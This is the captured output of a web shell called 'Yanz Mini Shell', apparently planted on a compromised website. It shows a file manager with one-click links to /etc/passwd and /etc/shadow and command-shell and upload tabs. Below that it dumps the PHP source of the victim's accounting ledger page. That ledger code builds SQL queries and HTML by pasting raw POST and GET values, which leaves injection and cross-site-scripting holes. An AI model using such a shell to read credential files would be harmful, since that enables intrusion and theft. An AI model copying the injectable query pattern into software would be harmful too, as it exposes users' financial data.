Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
housgcjs
elaan.net
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php $path="admin/orna/"; require_once('admin/orna/db.php'); $acc=@$_POST['acc']; $from=@$_POST['from']; $to=@$_POST['till']; if(!isset($_POST['submit'])){ header('location:error.php'); exit();} else if($_POST['submit']=='print'){ header('location:onscreen/ledger.php?acc='.$acc.'&from='.$from.'&till='.$to); exit();} $sql1="select * from `".$MySQL_database."`.acc_mast where acc_nm='".$acc."'"; $query1=mysqli_query($connection,$sql1); $mast=mysqli_fetch_assoc($query1); $suffix=""; $sql_cust="select suffix from `".$MySQL_database."`.cust_sup where acc_nm='".$acc."'"; $query_cust=mysqli_query($connection,$sql_cust); if(mysqli_num_rows($query_cust)>0){ $cust_details=mysqli_fetch_assoc($query_cust); if($cust_details["suffix"]!=""){ $suffix=" - ".$cust_details["suffix"]; } } //CHECK EXISTANCE STATUS OF SV $sql_check_existance="select s.vnumb from `".$MySQL_database."`.store_out_m s, `".$MySQL_database."`.acc_trans t where s.existance='virtual' and t.vtype='sv' and t.vnumb=s.vnumb and t.vdate=s.inv_dt and t.acc_nm='".$acc."' and t.del='n' and t.vdate>='".$from."' and t.vdate<='".$to."'"; $query_check_existance=mysqli_query($connection,$sql_check_existance); $in="("; while($existance=mysqli_fetch_assoc($query_check_existance)){ $in.="'".$existance['vnumb']."',"; } if($in!="("){ $in=substr($in,0,strlen($in)-1); }else{ $in.="''"; } $in.=")"; //CHECK EXISTANCE STATUS OF SV //CHECK IF PREVIOUS YEAR IS CLOSED $sql_check_closing="SELECT max(year_end) as previous_closing FROM `".$MySQL_database."`.`year_closing` where log='closed'"; $query_check_closing=mysqli_query($connection,$sql_check_closing); $previous_closing=mysqli_fetch_assoc($query_check_closing); //CHECK IF PREVIOUS YEAR IS CLOSED $sql3="select sum(debit),sum(crdit) from `".$MySQL_database."`.acc_trans where acc_nm='".$acc."' and del='n' and acc_trans.vdate>='".$from."' and acc_trans.vdate<='".$to."' and vnumb not in".$in; $query3=mysqli_query($connection,$sql3); $total=mysqli_fetch_assoc($query3); $op= "SELECT SUM(debit) , SUM(crdit) FROM `".$MySQL_database."`.acc_trans WHERE acc_nm ='$acc' and del='n' and vdate<'".$from."' and vnumb not in".$in; $op=mysqli_fetch_assoc(mysqli_query($connection,$op)); $op_bal=($mast['opbal']+$op['SUM(debit)'])-$op['SUM(crdit)']; $closing_bal=($op_bal+$total['sum(debit)'])-$total['sum(crdit)']; if ( $op_bal < 0 ) {$bal_type= "CR";} elseif($op_bal>0) {$bal_type= "DR";} else{$bal_type="";} if ( $closing_bal < 0 ) {$cl_bal_type= "CR";} elseif($closing_bal>0) {$cl_bal_type= "DR";} else{$cl_bal_type="";} if(isset($_GET['cid'])){ $sql_closing_year="select * from year_closing where del='N' and log='closed' and id<'".@$_GET['cid']."' order by id desc limit 0,1"; $closing_id=mysqli_fetch_assoc(mysqli_query($connection,$sql_closing_year)); if($closing_id['id']!=''){ $previous_link="<div class=\"input-group-addon\"><a href=\"ledger_parameters_closed.php?acc_nm=".$acc."&cid=".$closing_id['id']."\"><i class='fa fa-link'></i></a></div>"; }else{ $previous_link=""; } }else{ $sql_closing_year="select * from `".$MySQL_database."`.year_closing where del='N' and log='closed' order by id desc limit 0,1"; $query_closing_year=mysqli_query($connection,$sql_closing_year); if(mysqli_num_rows($query_closing_year)>0){ $closing_id=mysqli_fetch_assoc($query_closing_year); if($closing_id['id']!=''){ $previous_link="<div class=\"input-group-addon\"><a href=\"ledger_parameters_closed.php?acc_nm=".$acc."&cid=".$closing_id['id']."\"><i class='fa fa-link'></i></a></div>"; }else{ $previous_link=""; } }else{ $previous_link=""; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="description" content=""> <meta name="author" content="Dashboard"> <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina"> <title>Account</title> <script src="assets/js/now.js"></script> <!-- Bootstrap core CSS --> <link href="assets/css/bootstrap.css" rel="stylesheet"> <link href="assets/css/orna.css" rel="stylesheet"> <!--external css--> <link href="assets/font-awesome/css/font-awesome.css" rel="stylesheet" /> <link rel="stylesheet" type="text/css" href="assets/js/gritter/css/jquery.gritter.css" /> <!-- Custom styles for this template --> <link href="assets/css/style.css" rel="stylesheet"> <link href="assets/css/style-responsive.css" rel="stylesheet"> <!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script> <script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <section id="container" > <!--header start--> <?php require_once('inc-core/header.inc')?> <!--header end--> <!--sidebar start--> <?php require_once('inc-core/side-bar.inc');?> <!--sidebar end--> <section id="main-content"> <section class="wrapper"> <table class="table table-striped table-advance table-hover"> <thead> <tr> <th class="col-md-12"> <a href="onscreen/ledger.php<?php echo '?acc='.$acc.'&from='.$from.'&till='.$to;?>" title="Print Ledger"><button class="btn btn-theme btn-xs"><i class="fa fa-print"></i> Print</button></a> <a href="onscreen/ledger.php<?php echo '?acc='.$acc.'&from='.$from.'&till='.$to;?>&excel=true" title="Export Ledger"><button class="btn btn-default btn-xs"><i class="fa fa-print"></i> Export to Excel</button></a> <a href="ledger_parameters.php" title="View Another Ledger"><button class="btn btn-success btn-xs"><i class="fa fa-refresh"></i> Clear</button></a> <a href="account_mod.php?acc=<?php echo $acc;?>"><button class="btn btn-theme btn-xs" title="Edit This Account Details"><i class="fa fa-pencil"></i> Edit Account Details</button></a> <a href="ledger_parameters.php?acc_nm=<?php echo $acc;?>" title="Change Date"><button class="btn btn-theme btn-xs"><i class="fa fa-calendar"></i> Change Date</button></a> </th> <th class="col-md-10"></th> </tr> </thead> </table> <?php if($from>$to){ die('<center><h1>Your have entered invalid date...</h1> Starting Date ('.$from.') is grater then ending date ('.$to.')<br>Check Manuals or Contact DBA/Administrator for Assistance.<br>Or if this message is wrong Contact ProFinance.<br>Visit www.ProFinance.com<br>support@ProFinance.com</center>');}?> <div id="title"> <div class="row"> <div class="col-sm-10"> <h1 class="title"><?php echo $mast['title'].$suffix;?></h1> <p><strong>From </strong><?php echo date('d-M-Y', strtotime($from));?> <strong> | To</strong> <?php echo date('d-M-Y', strtotime($to));?></p> </div> <div class="col-sm-2 left"> Opening Balance: <div class="input-group"> <div class="input-group-addon"><?php echo $bal_type;?></div> <input type="text" class="form-control" value="<?php echo number_format($op_bal);?>" placeholder="Opening Balance"> <?php echo $previous_link;?> </div> Closing Balance: <div class="input-group"> <div class="input-group-addon"><?php echo $cl_bal_type;?></div> <input type="text" class="form-control" value="<?php echo number_format(abs($closing_bal));?>" placeholder="Closing Balance"> </div> </div> </div><!--/row--> </div> <div class="row" style="margin:1em 1em;"> <div class="col-md-12"> <table class="table table-striped table-advance table-hover"> <thead> <tr class="table_header"> <th class="col-md-1"><i class="fa fa-calendar"></i> Date</th> <th class="col-md-1"><i class="fa fa-ticket"></i> Voucher</th> <th class="col-md-1"><i class="fa fa-tasks"></i> Type</th> <th class="col-md-5"><i class="fa fa-edit"></i> Description</th> <th class="col-md-1"><i class="fa fa-money"></i> Debit</th> <th class="col-md-1"><i class=" fa fa-money"></i> Credit</th> <th class="col-md-1"><i class=" fa fa-money"></i> Balance</th> <th class="col-md-1"><i class=" fa fa-cog"></i> Action</th> </tr> </thead> <tbody> <?php $sql2="select id,vdate,vnumb,vtype,descp,debit,crdit,user from `".$MySQL_database."`.acc_trans where acc_nm='".$acc."' and del='n' and acc_trans.vdate>='".$from."' and acc_trans.vdate<='".$to."' and acc_trans.vnumb not in".$in." order by vdate, vnumb"; $query2=mysqli_query($connection,$sql2); $increment_debit=0; $increment_credit=0; while($trans=mysqli_fetch_assoc($query2)) { $increment_debit=$increment_debit+$trans['debit']; $increment_credit=$increment_credit+$trans['crdit']; $cl_bal=($op_bal+$increment_debit)-$increment_credit; if ( $cl_bal < 0 ) {$cl_bal_type= "CR";} elseif($cl_bal>0) {$cl_bal_type= "DR";} else{$cl_bal_type="";} print" <tr> <td>"; echo date('d-M-Y', strtotime($trans['vdate'])); print"</td> <td><a href=\"onscreen/voucher.php?vnumb=";echo $trans['vnumb'];print"\" target=\"blank\" title=\"View Voucher\"> <span class=\"label label-info label-mini\" style=\"text-transform:uppercase;\">".$trans['vtype']."V</span> ".$trans['vnumb']."</a></td>"; //if(($trans['vtype']=='sv') && ($trans['user']=='System')) if(($trans['vtype']=='sv')) { $sql4="SELECT * FROM `".$MySQL_database."`.`store_out_m` where vnumb='".$trans['vnumb']."'"; $inv=mysqli_fetch_assoc(mysqli_query($connection,$sql4)); $have_invoice = mysqli_num_rows(mysqli_query($connection,$sql4)); if($have_invoice>=1){ $edit_btn="href=\"sale_edit.php?id=".$inv['mast_id']."\""; print" <td><a href=\"onscreen/sl_invoice.php?id=";echo $inv['mast_id']; print"&status=out\" title=\"View Invoice\" target=\"blank\"><span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">INV</span> ".$inv['mast_id']."</a></td> "; }else{ $edit_btn="href=\"e_vch.php?vnum=".$trans['vnumb']."\""; print"<td><a href=\"#\" title=\"N/A\"> <span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">N/A</span> </a> </td>"; } } else if(($trans['vtype']=='sr')) { $sql4="SELECT * FROM `".$MySQL_database."`.`store_in_m` where vnumb='".$trans['vnumb']."'"; $inv=mysqli_fetch_assoc(mysqli_query($connection,$sql4)); $have_invoice = mysqli_num_rows(mysqli_query($connection,$sql4)); if($have_invoice>=1){ //$edit_btn="href=\"sr_sale_edit.php?id=".$inv['mast_id']."\""; $edit_btn="href=\"#\""; print" <td><a href=\"onscreen/sr_invoice.php?id=";echo $inv['mast_id']; print"&status=in\" title=\"View Invoice\" target=\"blank\"><span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">INV</span> ".$inv['mast_id']."</a></td> "; }else{ $edit_btn="href=\"e_vch.php?vnum=".$trans['vnumb']."\""; print"<td><a href=\"#\" title=\"N/A\"> <span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">N/A</span> </a> </td>"; } } else if (($trans['vtype']=='pv') && ($trans['user']=='System')) { $sql4="SELECT * FROM `".$MySQL_database."`.`store_in_m` where vnumb='".$trans['vnumb']."'"; $inv=mysqli_fetch_assoc(mysqli_query($connection,$sql4)); print" <td><a href=\"onscreen/sl_invoice.php?id=";echo $inv['mast_id']; print"&status=in\" title=\"View Invoice\" target=\"blank\"><span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">INV</span> ".$inv['mast_id']."</a></td>"; $edit_btn="href=\"#\""; } else if($trans['vtype']=='cr' || $trans['vtype']=='br' || $trans['vtype']=='ad') { $sql5="SELECT id FROM `".$MySQL_database."`.`rec` where vnumb='".$trans['vnumb']."' and rdate='".$trans['vdate']."'"; $rec=mysqli_fetch_assoc(mysqli_query($connection,$sql5)); $have_rec = mysqli_num_rows(mysqli_query($connection,$sql5)); if($have_rec>=1){ $edit_btn="href=\"rec_edit.php?id=".$rec['id']."&table=rec\""; print"<td><a href=\"onscreen/receipt.php?rec_id=";echo $rec['id']; print"\" title=\"View Receipt\" target=\"blank\"><span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">REC</span> "; echo ' '.str_pad($rec['id'],6,"0",STR_PAD_LEFT); print"</a></td>"; }else{ $edit_btn="href='e_vch.php?vnum=".$trans['vnumb']."'"; print"<td><a href=\"#\" title=\"N/A\"> <span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">N/A</span> </a> </td>"; } } else if($trans['vtype']=='cp' || $trans['vtype']=='bp') { $sql5="SELECT id FROM `".$MySQL_database."`.`pay` where vnumb='".$trans['vnumb']."' and rdate='".$trans['vdate']."'"; $rec=mysqli_fetch_assoc(mysqli_query($connection,$sql5)); $have_payment = mysqli_num_rows(mysqli_query($connection,$sql5)); if($have_payment>=1){ //$edit_btn="href=\"pay_edit.php?id=".$rec['id']."&table=pay\""; $edit_btn="href='#'"; /* print"<td><a href=\"onscreen/payment.php?pay_id=".$rec['id']."\" title=\"View Payment\" target=\"blank\"><span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">PAY</span> ".str_pad($rec['id'],6,"0",STR_PAD_LEFT)."</a></td>"; */ print"<td><a href=\"#\" ><span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">PAY</span> ".str_pad($rec['id'],6,"0",STR_PAD_LEFT)."</a></td>"; }else{ $edit_btn="href='e_vch.php?vnum=".$trans['vnumb']."'"; print"<td><a href=\"#\" title=\"N/A\"> <span class=\"label label-primary label-mini\" style=\"text-transform:uppercase;\">N/A</span> </a> </td>"; } } else{ $edit_btn="href='e_vch.php?vnum=".$trans['vnumb']."'"; print"<td><span class=\"label label-info label-mini\" style=\"text-transform:uppercase;\">"; echo $trans['vtype'].'V'; print"</span></td>"; //$edit_btn=''; } print"<td>"; echo strtoupper($trans['descp']); print"</td> <td>"; echo number_format($trans['debit']); print"</td> <td>"; echo number_format($trans['crdit']); print" </td> <td style=\"font-weight:bold;\">"; echo number_format(abs($cl_bal))." ".$cl_bal_type; print" </td> <td> <a "; echo $edit_btn; print" target=\"blank\"><button class=\"btn btn-primary btn-xs\"><i class=\"fa fa-pencil\"></i></button></a> <button class=\"btn btn-danger btn-xs\" data-toggle=\"modal\" data-target=\"#myModal"; echo $trans['id']; print"\"><i class=\"fa fa-trash-o \"></i></button> </td> <!-- Modal --> <div class=\"modal fade\" id=\"myModal"; echo $trans['id']; print"\" tabindex=\"-1\" role=\"dialog\" aria-labelledby=\"myModalLabel\" aria-hidden=\"true\"> <div class=\"modal-dialog\"> <div class=\"modal-content\"> <div class=\"modal-header\"> <button type=\"button\" class=\"close\" data-dismiss=\"modal\" aria-hidden=\"true\">×</button> <h4 class=\"modal-title\" id=\"myModalLabel\">Delete Voucher No: "; echo $trans['vnumb']; print"?</h4> </div> <div class=\"modal-body\">Are you sure you want to delete this ("; echo $trans['vtype']; print")? </div> <div class=\"modal-footer\"> <button type=\"button\" id=\""; echo $trans['vnumb']; print"\" class=\"btn btn-default del\" >Delete</button> <button type=\"button\" class=\"btn btn-primary\" data-dismiss=\"modal\">Cancel</button> </div> </div> </div> </div> </tr>";}?> <tr> <td></td> <td></td> <td></td> <th class="right">Total :</th> <th><?php echo number_format($total['sum(debit)']);?></th> <th><?php echo number_format($total['sum(crdit)']);?></th> <td></td> <td></td> </tr> </tbody> </table> </div><!-- /col-md-12 --> </div><!-- /row --> </section><!--/wrapper --> </section><!-- /MAIN CONTENT --> <!--main content end--> <!--footer start--> <footer class="site-footer"> <div class="text-center"> <?php echo date('Y');?> - ProFinance TM <a href="#" class="go-top"> <i class="fa fa-angle-up"></i> </a> </div> </footer> <!--footer end--> </section> <!-- js placed at the end of the document so the pages load faster --> <script src="assets/js/jquery.js"></script> <script src="assets/js/bootstrap.min.js"></script> <script src="assets/js/jquery-ui-1.9.2.custom.min.js"></script> <script src="assets/js/jquery.ui.touch-punch.min.js"></script> <script class="include" type="text/javascript" src="assets/js/jquery.dcjqaccordion.2.7.js"></script> <script src="assets/js/jquery.scrollTo.min.js"></script> <script src="assets/js/jquery.nicescroll.js" type="text/javascript"></script> <script src="admin/ajax/js/del.js"></script> <!--common script for all pages--> <script src="assets/js/common-scripts.js"></script> <!--script for this page--> <script type="text/javascript" src="assets/js/gritter/js/jquery.gritter.js"></script> <script type="text/javascript" src="assets/js/gritter-conf.js"></script> </body> </html>
Free Space : 77943013376 Byte